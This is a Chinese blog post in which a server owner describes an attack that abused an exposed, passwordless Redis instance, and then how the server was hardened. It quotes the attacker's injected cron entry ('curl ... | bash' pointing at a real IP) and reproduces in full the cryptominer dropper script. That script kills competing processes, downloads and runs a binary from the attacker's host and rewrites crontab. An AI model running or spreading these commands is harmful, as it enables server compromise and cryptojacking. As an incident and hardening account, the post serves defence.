linux服务器安全—— 一次redis攻击的遭遇

程序员文章站 2022-06-17 09:29:37

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笔者在写这篇文章的时候，个人的服务器正在遭受攻击，为了避免更多的人被坑，笔者淡定地边处理边写下这篇博客，希望可以帮助到大家！

环境：

ubuntu16.04.1 云服务器

redis

部署于tomcat上的个人应用

背景：

查看服务器状态时，发现redis用户的cpu使用率过高，打开redis日志，发现大量如下信息：

[10167] 04 Feb 19:05:20.065 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:20.066 * Background saving started by pid 21837

[21837] 04 Feb 19:05:20.069 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:20.166 # Background saving error

[10167] 04 Feb 19:05:26.076 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:26.077 * Background saving started by pid 21855

[21855] 04 Feb 19:05:26.081 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:26.177 # Background saving error

[10167] 04 Feb 19:05:32.086 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:32.087 * Background saving started by pid 21862

[21862] 04 Feb 19:05:32.089 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:32.187 # Background saving error

[10167] 04 Feb 19:05:38.102 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:38.103 * Background saving started by pid 21864

[21864] 04 Feb 19:05:38.105 # Failed opening .rdb for saving: Permission denied

很明显，日志中显示redis存储于内存中的数据无法同步到文件系统中，原因是权限不够。

处理过程：

打开redis客户端，发现redis中被存入了两个莫名其妙的东西，key值分别为crackit和gfpyskqrma，我很确定自己的程序不会向redis中存入这两个东西。
```
admin@VM-202-164-ubuntu:/$ /servers/redis-2.8.19/src/redis-cli  -p 6379
127.0.0.1:6379> keys *
1) "crackit"
2) "gfpyskqrma"
```

查看这两个都存的什么东西：

127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n"
127.0.0.1:6379> get gfpyskqrma
"\n\n* 10 * * * curl http://45.123.190.144:8080/lin.txt?redis | bash \n\n"

妥了，现在百分百确定服务器遭到了攻击。crackit存的是一个ssh公钥，gfpyskqrma存储的是一个cron定时任务。

看到这我就气急败坏了，连我吃泡面省钱买的云服务都不放过！不管三七二十一了，先一顿喷再说，直接在这两个key的值中喷他，也不管攻击者能不能看到啦，由于不清楚他是哪国的，中文英文拼音都用上一遍。哼!

好了，进入正题！现在研究一下他是怎么攻击的，打开redis config：

127.0.0.1:6379> CONFIG GET *
  1) "dbfilename"
  2) "root"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "unixsocket"
  8) ""
  9) "logfile"
 10) ""
 11) "pidfile"
 12) "/var/run/redis.pid"
 13) "maxmemory"
 14) "0"
 15) "maxmemory-samples"
 16) "3"
 17) "timeout"
 18) "0"
 19) "tcp-keepalive"
 20) "0"
 21) "auto-aof-rewrite-percentage"
 22) "100"
 23) "auto-aof-rewrite-min-size"
 24) "67108864"
 25) "hash-max-ziplist-entries"
 26) "512"
 27) "hash-max-ziplist-value"
 28) "64"
 29) "list-max-ziplist-entries"
 30) "512"
 31) "list-max-ziplist-value"
 32) "64"
 33) "set-max-intset-entries"
 34) "512"
 35) "zset-max-ziplist-entries"
 36) "128"
 37) "zset-max-ziplist-value"
 38) "64"
 39) "hll-sparse-max-bytes"
 40) "3000"
 41) "lua-time-limit"
 42) "5000"
 43) "slowlog-log-slower-than"
 44) "10000"
 45) "latency-monitor-threshold"
 46) "0"
 47) "slowlog-max-len"
 48) "128"
 49) "port"
 50) "6379"
 51) "tcp-backlog"
 52) "511"
 53) "databases"
 54) "16"
 55) "repl-ping-slave-period"
 56) "10"
 57) "repl-timeout"
 58) "60"
 59) "repl-backlog-size"
 60) "1048576"
 61) "repl-backlog-ttl"
 62) "3600"
 63) "maxclients"
 64) "10000"
 65) "watchdog-period"
 66) "0"
 67) "slave-priority"
 68) "100"
 69) "min-slaves-to-write"
 70) "0"
 71) "min-slaves-max-lag"
 72) "10"
 73) "hz"
 74) "10"
 75) "repl-diskless-sync-delay"
 76) "5"
 77) "no-appendfsync-on-rewrite"
 78) "no"
 79) "slave-serve-stale-data"
 80) "yes"
 81) "slave-read-only"
 82) "yes"
 83) "stop-writes-on-bgsave-error"
 84) "no"
 85) "daemonize"
 86) "no"
 87) "rdbcompression"
 88) "yes"
 89) "rdbchecksum"
 90) "yes"
 91) "activerehashing"
 92) "yes"
 93) "repl-disable-tcp-nodelay"
 94) "no"
 95) "repl-diskless-sync"
 96) "no"
 97) "aof-rewrite-incremental-fsync"
 98) "yes"
 99) "aof-load-truncated"
100) "yes"
101) "appendonly"
102) "no"
103) "dir"
104) "/var/spool/cron"
105) "maxmemory-policy"
106) "volatile-lru"
107) "appendfsync"
108) "everysec"
109) "save"
110) "900 1 300 10 60 10000"
111) "loglevel"
112) "notice"
113) "client-output-buffer-limit"
114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
115) "unixsocketperm"
116) "0"
117) "slaveof"
118) ""
119) "notify-keyspace-events"
120) "gxE"
121) "bind"
122) "127.0.0.1 XXX.XXX.XXX.XXX"  #此处马赛克
127.0.0.1:6379>

可以看到，攻击者修改了redis用于存储数据的rdb文件的文件名和路径，路径和文件拼凑到一起是/var/spool/cron/root。这是要改我root用户计划任务的节奏啊，还好我的redis不是使用root用户执行的(这就是redis日志中出现大量权限不足的原因)，要不然攻击者已经得手了。想想就可怕，如果我的redis是使用root用户部署的，那攻击者岂不是为所欲为了。例如他如果把SSH公钥写到/root/.ssh中，就可以畅通无阻地登录我的服务器，或者他直接破坏掉我的/etc/passwd，那谁也别想登录了，只能刷系统了。没想到redis居然有这么大的漏洞。(通过redis的CONFIG SET dir /tmp/ 命令就可以直接动态设置存储路径了，其他参数的设置也一样)

还没完。现在看一下他的定时脚本里边都是什么内容，直接浏览器打开http://45.123.190.144:8080/lin.txt?redis ，以下就是他的shell代码：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

HOST=45.123.190.144:8080
CALLBACK=$HOST

DOWNLOADER="curl "
#DOWNLOADER="wget -q -O - "

LFILE_NAME="BoomBoom"
# LFILE_PATH=`pwd`/$LFILE_NAME
LFILE_PATH=/tmp/$LFILE_NAME

DEFAULT_RFILE=$HOST/BoomBoom
OTHERS_RFILE=$HOST/BoomBoom2

CLEAN ()
{
  grep -q -F '* soft memlock 262144' /etc/security/limits.conf || echo '* soft memlock 262144' >> /etc/security/limits.conf
    grep -q -F '* hard memlock 262144' /etc/security/limits.conf || echo '* hard memlock 262144' >> /etc/security/limits.conf
    grep -q -F 'vm.nr_hugepages = 256' /etc/sysctl.conf || echo 'vm.nr_hugepages = 256' >> /etc/sysctl.conf
    sysctl -w vm.nr_hugepages=256

  RMLIST=(/tmp/*index_bak* /tmp/*httpd.conf* /tmp/*httpd.conf /tmp/a7b104c270 /tmp/Carbon)
  KILIST=(crobon sb1 wipefs AnXqV.yam zhuabcn@yahoo.com monerohash.com /tmp/a7b104c270 stratum.f2pool.com:8888 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQt989KEfGRt6Ww2Xg8 46SDR76rJ2J6MtmP3ZZKi9cEA5RQCrYgag7La3CxEootQeAQULPE2CHJQ4MRZ5wZ1T73Kw6Kx4Lai2dFLAacjerbPzb5Ufg 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe xmrpool.eu mine.moneropool.com xmr.crypto-pool.fr:8080 xmr.crypto-pool.fr:3333 xmr.crypto-pool.fr:6666 xmr.crypto-pool.fr:7777 xmr.crypto-pool.fr:443)
  for item in ${RMLIST[@]}
  do
      rm -rf $item
  done
  for item in ${KILIST[@]}
  do
      ps auxf|grep -v grep|grep $item|awk '{print $2}'|xargs kill -9
  done
  days=$(($(date +%s) / 60 / 60 / 24))
  ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "45cToD1FzkjAxHRBhYKKLg5utMGENqyamWrY8nLNkVQ4hJgLHex1KNRZcz4finRjMpAYmPxDaXVpN2rV1jMNyXRdMEaH1YA"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "Silence"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "45hsTaSqTQM4K1Xeqkcy7eLzqdEuQ594fJVmQryCemQSCU878JGQdSDCxbhNyVjSkiaYat8yAfBuRTPSEUPZoARm9a5XEHZ"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "t.sh"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "wipefs"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "carbon"|awk '{print $2}'|xargs kill -9
  pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4
  pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB
  pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df
  pkill -f cpuloadtest
  pkill -f crypto-pool
  pkill -f xmr
  pkill -f prohash
  pkill -f monero
  pkill -f miner
  pkill -f nanopool
  pkill -f minergate
  pkill -f yam
  pkill -f Silence
  pkill -f yam2
  pkill -f minerd
  pkill -f Circle_MI.png
  pkill -f curl
  ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9
  ps auxf|grep -v grep|grep "11231"|awk '{print $2}'|xargs kill -9
  pkill -f biosetjenkins
  ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
  ps ax|grep -o './[0-9]* -c'| xargs pkill -f
  pkill -f Loopback
  pkill -f apaceha
  pkill -f cryptonight
  ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9
  ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9
  pkill -f 45.76.102.45
  pkill -f stratum
  pkill -f mixnerdx
  pkill -f performedl
  pkill -f sleep
  pkill -f JnKihGjn
  pkill -f irqba2anc1
  pkill -f irqba5xnc1
  pkill -f irqbnc1
  pkill -f ir29xc1
  pkill -f conns
  pkill -f irqbalance
  pkill -f crypto-pool
  pkill -f minexmr
  pkill -f XJnRj
  pkill -f NXLAi
  pkill -f BI5zj
  pkill -f askdljlqw
  pkill -f minerd
  pkill -f minergate
  pkill -f Guard.sh
  pkill -f ysaydh
  pkill -f bonns
  pkill -f donns
  pkill -f kxjd
  pkill -f 108.61.186.224
  pkill -f Duck.sh
  pkill -f bonn.sh
  pkill -f conn.sh
  pkill -f kworker34
  pkill -f kw.sh
  pkill -f pro.sh
  pkill -f polkitd
  pkill -f acpid
  pkill -f icb5o
  pkill -f nopxi
  ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;
  pkill -f 45.76.146.166
  pkill -f irqbalanc1
  pkill -f 188.120.247.175
  rm -rf /tmp/httpd.conf
  rm -rf /tmp/conn
  rm -rf /tmp/conns
  rm -f /tmp/irq.sh
  rm -f /tmp/irqbalanc1
  rm -f /tmp/irq
}

DEFAULT ()
{
  $DOWNLOADER $DEFAULT_RFILE > $LFILE_PATH
  chmod +x $LFILE_PATH
  ps -ef|grep $LFILE_NAME|grep -v grep
  if [ $? -ne 0 ]; then
    $LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l60"
  else
    $DOWNLOADER "${CALLBACK}/?info=l69"
  fi
}

OTHERS ()
{
  $DOWNLOADER $OTHERS_RFILE > $LFILE_PATH
  chmod +x $LFILE_PATH
  ps -ef|grep $LFILE_NAME|grep -v grep
  if [ $? -ne 0 ]; then
    $LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l30"
  else
    $DOWNLOADER "${CALLBACK}/?info=l39"
  fi
}

CRON () {
  if [ -x /usr/bin/wget ] ; then
        echo '*/8 * * * * wget -q -O - $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron
    elif [ -x /usr/bin/curl ] ; then
        echo '*/8 * * * * curl $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron
    else
        exit 0;
    fi
    crontab -r
    crontab /tmp/.$LFILE_NAME.cron
    rm /tmp/.$LFILE_NAME.cron
}

INIT () {
	echo 128 > /proc/sys/vm/nr_hugepages
	sysctl -w vm.nr_hugepages=128
}



KILL () {
  ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
  do
    kill -9 $procid
  done
}

CLEAN
KILL
INIT
if [ $(getconf WORD_BIT) = '32' ] && [ $(getconf LONG_BIT) = '64' ] ; then
    DEFAULT
else
    OTHERS
fi
# CRON
crontab -r

等一下再看这个浑蛋做了什么，当务之急是解决redis的问题，切断他的攻击渠道。

先关掉redis吧

dmin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep
admin    10167  0.0  1.3  38300 12136 ?        Sl   Feb03   1:27 /servers/redis-2.8.19/src/redis-server 127.0.0.1:6379
admin@VM-202-164-ubuntu:~$ kill -9 10167
admin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep
admin@VM-202-164-ubuntu:~$

进入redis目录，修改redis配置文件。

admin@VM-202-164-ubuntu:~/redis-2.8.19$ vi redis.conf

先修改一下bind：(说明一下：修改之前我是这样配置的bind 127.0.0.1 XXX.XXX.XXX.XXX，其中xxx是腾讯云服务器的内网ip，所以我没理解错的话，攻击者是使用腾讯云内网ip登录我的redis服务的。也就是说攻击者使用的也是腾讯云服务器)

# Examples:
#
# bind 127.0.0.1 XXX.XXX.XXX.XXX
bind 127.0.0.1

再改下端口吧，不要用默认的了：

# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6970

禁用掉CONFIG和EVAL命令：

# Example:
#
# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
#
# It is also possible to completely kill a command by renaming it into
# an empty string:
#
rename-command CONFIG ""
rename-command EVAL ""

还有最关键的，设置一个密码：

# Warning: since Redis is pretty fast an outside user can try up to
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
#
requirepass 2wsx!QAZ

启动redis吧，现在应该足够安全了吧：

admin@VM-202-164-ubuntu:~/redis-2.8.19$ /servers/redis-2.8.19/src/redis-cli  -p 6970 -a '2wsx!QAZ'

启动客户端别忘记加上密码。最后就是修改应用程序中的redis端口和密码了。如果想要在其他服务器上也能访问到redis服务，那就只能bind上内网ip了，但是推荐使用iptables创建防火墙规则。

一定不要使用root部署redis，太可怕了。

现在redis基本安全了，不用担心再次受到攻击了，但是还要检查一下服务器，看看那个攻击者有没有留下什么东西，清理一下。

admin@VM-202-164-ubuntu:~$ cd .ssh
-bash: cd: .ssh: No such file or directory
admin@VM-202-164-ubuntu:~$ crontab -l
no crontab for admin
admin@VM-202-164-ubuntu:~$

admin@VM-202-164-ubuntu:/var/spool/cron$ ls -lrta
total 20
drwxrwx--T 2 daemon daemon  4096 Jan 15  2016 atspool
drwxr-xr-x 4 root   root    4096 Oct 26  2016 ..
drwxr-xr-x 5 root   root    4096 Oct 26  2016 .
drwxrwx--T 2 daemon daemon  4096 Oct 26  2016 atjobs
drwx-wx--T 2 root   crontab 4096 Feb  4 18:51 crontabs
admin@VM-202-164-ubuntu:/var/spool/cron$ cd crontabs
-bash: cd: crontabs: Permission denied

攻击者并没有将SSH公钥写入当前用户，crontabs权限正常，是安全的，看来他直接是奔着root去的，并没有得手。如此看来，这应该是一个攻击脚本了，那看来我喷他他是看不到了，唉！

最后看一下那个脚本都想要干什么吧：
先是清了一下相关进程和临时文件->>杀掉了cpu占用大于20%的进程->>设置了一下nr_hugepages->>在他的服务器(45.123.190.144:8080/BoomBoom)上下载一个BoomBoom->>BoomBoom添加可执行权限。好吧，不明觉厉，下载了BoomBoom看看，2.17M的一个东西，不知道是什么。

好吧，先这样吧！希望可以帮到大家，希望各位大神们帮我研究一下BoomBoom是干什么用的！

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